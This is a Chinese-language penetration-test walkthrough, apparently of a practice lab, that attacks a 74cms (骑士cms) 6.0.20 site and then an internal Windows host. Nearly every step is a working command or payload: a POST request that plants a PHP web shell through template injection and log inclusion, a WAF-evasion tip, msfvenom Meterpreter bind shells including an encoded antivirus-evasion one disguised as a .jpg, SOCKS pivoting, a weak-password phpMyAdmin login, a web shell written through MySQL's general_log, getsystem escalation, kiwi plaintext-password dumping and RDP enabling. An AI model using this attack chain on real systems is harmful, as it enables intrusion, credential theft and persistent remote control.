1、通过信息搜集,发现目标有一个互联网访问的骑士cms
2、发现该系统骑士cms版本为6.0.20,通过搜索,发现骑士cms < 6.0.48存在任意文件包含漏洞
/Application/Common/Controller/BaseController.class.php 该文件的assign_resume_tpl函数因为过滤不严格,导致了模板注入,可以进行远程命令执行
3、复现该漏洞:
访问地址:
http://ip/index.php?m=home&a=assign_resume_tpl
添加如下post数据
variable=1&tpl=<?php fputs(fopen("tx.php","w"),"<?php eval(\$_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>
此时,系统会提示报错
此时在日志中会有一条结果:(文件名构成:年份+月份+日期.log
开始文件包含:
http://ip:81/index.php?m=home&a=assign_resume_tpl
POST部分:(注意包含的时候,要对应日期)
variable=1&tpl=data/Runtime/Logs/Home/23_02_10.log
此时在upload目录下已经存在了tx.php
由于系统有waf,文件名不能用shell.php,会被被拦截,要避免!
使用蚁剑连接http://ip:/81/tx.php,密码为x
4、msf上线
msf首先生成linux木马,因为宝塔存在宝塔,会干扰反向连接的木马,所以在这里生成的是一个正向木马
创建正向连接木马
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=6677 -f elf > 6677.elf
上传至webshell,赋予权限,执行
msfconsole中执行
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set RHOST xxx.xxx.xxx.xxx
set LPORT 6677
exploit
使用ifconfig,发现目标是双网卡
设置代理,添加路由:
添加路由
run post/multi/manage/autoroute
加代理
run auxiliary/server/socks_proxy
5、内网扫描
使用auxiliary/scanner/portscan/tcp模块进行主机存活扫描
use auxiliary/scanner/portscan/tcp
show options
set rhosts 10.0.20.0/24
set ports 21,22,23,80,443,8080,3389,445,3306,1433
exploit
或者使用proxifier直接代理,本机可直接访问到内网
使用nmap进行扫描也可以,但是要注意,此时由于是用的socket连接,socket协议不支持icmp,所以nmap命令要用到
-sT -Pn
6、在这里看到开放了3306端口,那访问下试试看:
此时看到3306开放的服务是mysql。扫描下目录试试看:
dirsearch -u http://10.0.20.133 --proxy socks5://127.0.0.1:1080
这里就可以看出来,这是一个phpstudy搭建的网站了,尝试访问:
http://10.0.20.133/phpMyAdmin/
发现有弱口令root/root,成功进入
7、通过phpmyadmin写日志getshell
查看日志情况
SHOW VARIABLES LIKE '%general%'
因为默认是关闭的,所以先将 general_log 设置为on,执行
set global general_log=on;
再次查询,发现已打开
修改log文件的名称和位置
set global general_log_file='C:/phpstudy/PHPTutorial/www/vulntarget.php';
验证文件是否存在
http://10.0.20.133/vulntarget.php
写入一句话:
SELECT '<?php eval($_POST["vuln"]); ?>'
此时一句话木马已经在日志中打印出来了
使用蚁剑先添加sockets代理
蚁剑连接成功
8、内网提权
此时使用蚁剑whoami,查看用户权限为普通用户权限。
已经拿到了其中一个crow的权限,但是在这里我们想拿到system权限。使用tasklist /svc来查看有哪些杀毒软件:
tasklist /svc
查询:https://i.hacking8.com/tiquan/发现系统存在火绒防病毒软件。
做一个免杀上线msf:
免杀方法:https://mp.weixin.qq.com/s/PK53c-Fgay8-2i6co_a7GA
msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 7 -b '\x00' lport=1234 -f raw -o crowsec.jpg
新生成的文件和加载器通过蚁剑上传到win7中:
msf开启监听,木马直接运行:
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 10.0.20.133
set lport 1234
exploit
可见获取了目标shell
提权测试:getsystem,提权成功
9、抓取密码
load kiwi
在这里发现当前没办法抓到密码,主要是因为上面生成的木马是32位的。(如果生成的木马是64位的,就没有这个问题)
getpid和ps查看一下进程:
那在这里将进程迁移到x64位上去:
migrate 504
注意迁移的时候,要迁移到system的user上。
再次执行命令,即可获取明文密码。
creds_all
得到用户名:crow 密码:admin
10、3389远程连接
run post/windows/manage/enable_rdp
配置代理之后,连接即可。